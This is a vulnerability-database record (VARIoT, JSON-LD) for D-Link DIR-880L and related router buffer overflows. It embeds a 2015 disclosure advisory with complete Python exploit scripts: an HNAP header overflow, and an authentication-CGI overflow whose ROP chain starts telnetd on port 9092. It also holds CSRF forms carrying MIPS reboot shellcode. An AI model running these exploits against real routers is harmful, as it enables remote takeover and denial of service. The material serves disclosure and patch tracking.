var-201507-0645
Vulnerability from variot
D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. A buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. Failed exploits may result in denial-of-service conditions. ## Advisory Information
Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities. Vendors contacted: William Brown william.brown@dlink.com, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
Product Description
DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.
Vulnerabilities Summary
Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices.
Details
Buffer overflow in HNAP
import socket import struct
Currently the address of exit function in libraray used as $PC
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220 buf+= "\r\n" + "1\r\n\r\n"
print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf)
Buffer overflow in auth
import socket import struct
buf = "GET /webfa_authentication.cgi?id=" buf+="A"408 buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack buf+="sh;#"+"CCCC"+"DDDD" #R0-R2 buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd buf+="C"+"D"25+"E"25 + "A"80 # 131 bytes of extra payload left buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8\r\nConnection:keep-alive\r\n\r\n"
print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf)
Report Timeline
- April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
- July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
- Nov 13, 2015: A public advisory is sent to security mailing lists.
Credit
This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com) .
Details
Ping buffer oberflow
Send email buffer overflow
Report Timeline
- April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201507-0645",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "ethernet broadband router",
"scope": null,
"trust": 1.2,
"vendor": "dlink",
"version": null
},
{
"model": "dir-890l 1.06b04",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-880l 1.04wwb01",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-880l 1.04fbb01",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-825",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "0"
},
{
"model": "dir-818lw a1 1.04b03",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-818lw 1.04fbb01",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-817lw b1 1.03b05",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-817lw 1.06b04",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-815 2.04b01",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-645 1.05b01",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dir-601",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "0"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
},
{
"db": "BID",
"id": "76012"
},
{
"db": "BID",
"id": "76014"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Samuel Huntley",
"sources": [
{
"db": "BID",
"id": "76012"
},
{
"db": "BID",
"id": "76014"
},
{
"db": "PACKETSTORM",
"id": "134364"
},
{
"db": "PACKETSTORM",
"id": "134369"
},
{
"db": "PACKETSTORM",
"id": "134368"
},
{
"db": "PACKETSTORM",
"id": "134366"
},
{
"db": "PACKETSTORM",
"id": "134372"
},
{
"db": "PACKETSTORM",
"id": "134370"
},
{
"db": "PACKETSTORM",
"id": "134371"
},
{
"db": "PACKETSTORM",
"id": "134373"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
],
"trust": 2.6
},
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2015-05077",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2015-05076",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "CNVD",
"id": "CNVD-2015-05077",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNVD",
"id": "CNVD-2015-05076",
"trust": 0.6,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. \nA buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. Failed exploits may result in denial-of-service conditions. ## Advisory Information\n\nTitle: DIR-880L Buffer overflows in authenticatio and HNAP functionalities. \nVendors contacted: William Brown \u003cwilliam.brown@dlink.com\u003e, Patrick Cline patrick.cline@dlink.com(Dlink)\nCVE: None\n\nNote: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, \nhttp://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061\n\nHowever, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. \n\n## Product Description\n\nDIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices. \n\n## Vulnerabilities Summary\n\nHave come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. \n\n## Details\n\nBuffer overflow in HNAP \n----------------------------------------------------------------------------------------------------------------------\nimport socket\nimport struct\n\n#Currently the address of exit function in libraray used as $PC\n\n\nbuf = \"POST /HNAP1/ HTTP/1.0\\r\\nHOST: 192.168.1.8\\r\\nUser-Agent: test\\r\\nContent-Length: 1\\r\\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX\" + \"\\x10\\xd0\\xff\\x76\"+\"B\"*220\nbuf+= \"\\r\\n\" + \"1\\r\\n\\r\\n\"\n \nprint \"[+] sending buffer size\", len(buf)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"10.0.0.90\", 80))\ns.send(buf)\n\n----------------------------------------------------------------------------------------------------------------------\n\n\nBuffer overflow in auth\n----------------------------------------------------------------------------------------------------------------------\nimport socket\nimport struct\n\n\nbuf = \"GET /webfa_authentication.cgi?id=\"\nbuf+=\"A\"*408\nbuf+=\"\\x44\\x77\\xf9\\x76\" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack\nbuf+=\"sh;#\"+\"CCCC\"+\"DDDD\" #R0-R2\nbuf+=\"\\x70\\x82\\xFD\\x76\"+\"FFFF\"+\"GGGG\" #R3 with system address and R4 and R5 with junk values\nbuf+=\"HHHH\"+\"\\xF8\\xD0\\xF9\\x76\" # R6 with crap and PC address loaded with ROP 2 address\nbuf+=\"telnetd%20-p%209092;#\" #actual payload which starts telnetd\nbuf+=\"C\"+\"D\"*25+\"E\"*25 + \"A\"*80 # 131 bytes of extra payload left\nbuf+=\"\u0026password=A HTTP/1.1\\r\\nHOST: 192.168.1.8\\r\\nUser-Agent: test\\r\\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\r\\nConnection:keep-alive\\r\\n\\r\\n\"\n\nprint \"[+] sending buffer size\", len(buf)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"10.0.0.90\", 80))\ns.send(buf)\n\n----------------------------------------------------------------------------------------------------------------------\n\n\n## Report Timeline\n\n* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. \n* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor\n* Nov 13, 2015: A public advisory is sent to security mailing lists. \n\n## Credit\n\nThis vulnerability was found by Samuel Huntley (samhuntley84@gmail.com)\n. \n\n## Details\n\n# Ping buffer oberflow\n----------------------------------------------------------------------------------------------------------------------\n\u003c!-- reboot shellcode Big Endian MIPS--\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform id=\"form5\" name=\"form5\" enctype=\"text/plain\" method=\"post\" action=\"http://192.168.100.14/ping_response.cgi\"\u003e\n\u003cinput type=\"text\" id=\"html_response_page\" name=\"html_response_page\" value=\"tools_vct.asp\u0026html_response_return_page=tools_vct.asp\u0026action=ping_test\u0026ping_ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BF%99%F4%2A%C1%1C%30AAAA%2A%BF%8F%04CCCC%2A%BC%9B%9CEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE%2A%BC%BD%90FFFFFFFFFFFFFFFF%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0c\u0026ping=ping\"\u003e\u003c/td\u003e\n\u003cinput type=submit value=\"submit\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n----------------------------------------------------------------------------------------------------------------------\n\n\n# Send email buffer overflow\n----------------------------------------------------------------------------------------------------------------------\n\u003c!-- reboot shellcode Big Endian MIPS--\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform id=\"form5\" name=\"form5\" enctype=\"text/plain\" method=\"post\" action=\"http://192.168.100.14/send_log_email.cgi\"\u003e\n\u003cinput type=\"text\" id=\"auth_active\" name=\"auth_active\" value=\"testy)%3b\u0026log_email_from=test@test.com\u0026auth_acname=sweetBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBIIII%2A%BF%99%F4%2A%C1%1C%30FFFF%2A%BF%8F%04DDDDCCCCBBBB%2A%BC%9B%9CCCC\u0026auth_passwd=test1)\u0026log_email_server=mail.google.com%3breboat%3b%23%23testAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA\u0026log_email_port=25\u0026log_email_sender=ses@gmail.com%3brebolt%3b%23%23teYYYY%2A%BC%BD%90AAAAAAAAAAAAtest%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0cAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA\u0026model_name=test\u0026action=send_log_email\u0026test=test\"\u003e\u003c/td\u003e\n\u003cinput type=submit value=\"submit\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n----------------------------------------------------------------------------------------------------------------------\n\n\n## Report Timeline\n\n* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011"
},
{
"db": "BID",
"id": "76012"
},
{
"db": "BID",
"id": "76014"
},
{
"db": "PACKETSTORM",
"id": "134364"
},
{
"db": "PACKETSTORM",
"id": "134369"
},
{
"db": "PACKETSTORM",
"id": "134368"
},
{
"db": "PACKETSTORM",
"id": "134366"
},
{
"db": "PACKETSTORM",
"id": "134372"
},
{
"db": "PACKETSTORM",
"id": "134370"
},
{
"db": "PACKETSTORM",
"id": "134371"
},
{
"db": "PACKETSTORM",
"id": "134373"
}
],
"trust": 3.42
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "BID",
"id": "76012",
"trust": 1.5
},
{
"db": "BID",
"id": "76014",
"trust": 1.5
},
{
"db": "DLINK",
"id": "SAP10061",
"trust": 1.1
},
{
"db": "DLINK",
"id": "SAP10060",
"trust": 1.1
},
{
"db": "CNVD",
"id": "CNVD-2015-05077",
"trust": 0.6
},
{
"db": "CNVD",
"id": "CNVD-2015-05076",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201508-010",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "134364",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "134369",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "134368",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "134366",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "134372",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "134370",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "134371",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "134373",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
},
{
"db": "BID",
"id": "76012"
},
{
"db": "BID",
"id": "76014"
},
{
"db": "PACKETSTORM",
"id": "134364"
},
{
"db": "PACKETSTORM",
"id": "134369"
},
{
"db": "PACKETSTORM",
"id": "134368"
},
{
"db": "PACKETSTORM",
"id": "134366"
},
{
"db": "PACKETSTORM",
"id": "134372"
},
{
"db": "PACKETSTORM",
"id": "134370"
},
{
"db": "PACKETSTORM",
"id": "134371"
},
{
"db": "PACKETSTORM",
"id": "134373"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
]
},
"id": "VAR-201507-0645",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
}
],
"trust": 1.7915425262500002
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"IoT",
"Network device"
],
"sub_category": null,
"trust": 1.2
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
}
]
},
"last_update_date": "2024-11-29T23:09:49.324000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Patch for multiple D-Link product UPnP buffer overflow vulnerabilities",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/61829"
},
{
"title": "Patch for multiple D-Link product HTTP buffer overflow vulnerabilities",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/61827"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.2,
"url": "http://www.securityfocus.com/bid/76012"
},
{
"trust": 1.2,
"url": "http://www.securityfocus.com/bid/76014"
},
{
"trust": 1.1,
"url": "http://securityadvisories.dlink.com/security/publication.aspx?name=sap10061"
},
{
"trust": 0.8,
"url": "http://securityadvisories.dlink.com/security/publication.aspx?name=sap10060,"
},
{
"trust": 0.6,
"url": "http://www.dlink.com/"
},
{
"trust": 0.5,
"url": "http://purenetworks.com/hnap1/getdevicesettings/xx\""
},
{
"trust": 0.3,
"url": "http://securityadvisories.dlink.com/security/publication.aspx?name=sap10060"
},
{
"trust": 0.1,
"url": "http://192.168.0.1/authentication.cgi\u0027"
},
{
"trust": 0.1,
"url": "http://192.168.100.14/send_log_email.cgi\"\u003e"
},
{
"trust": 0.1,
"url": "http://192.168.100.14/ping_response.cgi\"\u003e"
},
{
"trust": 0.1,
"url": "http://purenetworks.com/hnap1/getdevicesettings\\r\\nhnap_auth:"
},
{
"trust": 0.1,
"url": "http://purenetworks.com/hnap1/getdevicesettings/"
},
{
"trust": 0.1,
"url": "http://purenetworks.com/hnap1/getdevicesettings/\"+\"a\"*4138+\"\\x2a\\xbc\\x8c\\xa0\"+\"d\"*834+\"\\r\\n\""
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
},
{
"db": "BID",
"id": "76012"
},
{
"db": "BID",
"id": "76014"
},
{
"db": "PACKETSTORM",
"id": "134364"
},
{
"db": "PACKETSTORM",
"id": "134369"
},
{
"db": "PACKETSTORM",
"id": "134368"
},
{
"db": "PACKETSTORM",
"id": "134366"
},
{
"db": "PACKETSTORM",
"id": "134372"
},
{
"db": "PACKETSTORM",
"id": "134370"
},
{
"db": "PACKETSTORM",
"id": "134371"
},
{
"db": "PACKETSTORM",
"id": "134373"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"db": "CNVD",
"id": "CNVD-2015-05076"
},
{
"db": "BID",
"id": "76012"
},
{
"db": "BID",
"id": "76014"
},
{
"db": "PACKETSTORM",
"id": "134364"
},
{
"db": "PACKETSTORM",
"id": "134369"
},
{
"db": "PACKETSTORM",
"id": "134368"
},
{
"db": "PACKETSTORM",
"id": "134366"
},
{
"db": "PACKETSTORM",
"id": "134372"
},
{
"db": "PACKETSTORM",
"id": "134370"
},
{
"db": "PACKETSTORM",
"id": "134371"
},
{
"db": "PACKETSTORM",
"id": "134373"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2015-08-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"date": "2015-08-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2015-05076"
},
{
"date": "2015-07-23T00:00:00",
"db": "BID",
"id": "76012"
},
{
"date": "2015-07-17T00:00:00",
"db": "BID",
"id": "76014"
},
{
"date": "2015-11-16T17:29:07",
"db": "PACKETSTORM",
"id": "134364"
},
{
"date": "2015-11-16T17:33:09",
"db": "PACKETSTORM",
"id": "134369"
},
{
"date": "2015-11-16T17:32:23",
"db": "PACKETSTORM",
"id": "134368"
},
{
"date": "2015-11-16T17:30:45",
"db": "PACKETSTORM",
"id": "134366"
},
{
"date": "2015-11-16T17:36:22",
"db": "PACKETSTORM",
"id": "134372"
},
{
"date": "2015-11-16T17:34:06",
"db": "PACKETSTORM",
"id": "134370"
},
{
"date": "2015-11-16T17:34:57",
"db": "PACKETSTORM",
"id": "134371"
},
{
"date": "2015-11-16T17:37:16",
"db": "PACKETSTORM",
"id": "134373"
},
{
"date": "2015-07-23T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"date": "2015-07-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2015-08-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2015-05077"
},
{
"date": "2015-08-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2015-05076"
},
{
"date": "2015-07-23T00:00:00",
"db": "BID",
"id": "76012"
},
{
"date": "2015-07-17T00:00:00",
"db": "BID",
"id": "76014"
},
{
"date": "2015-08-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"date": "2015-08-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
],
"trust": 1.2
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Multiple D-Link Product UPnP Buffer Overflow Vulnerabilities",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2015-05077"
}
],
"trust": 0.6
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201508-010"
},
{
"db": "CNNVD",
"id": "CNNVD-201508-011"
}
],
"trust": 1.2
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.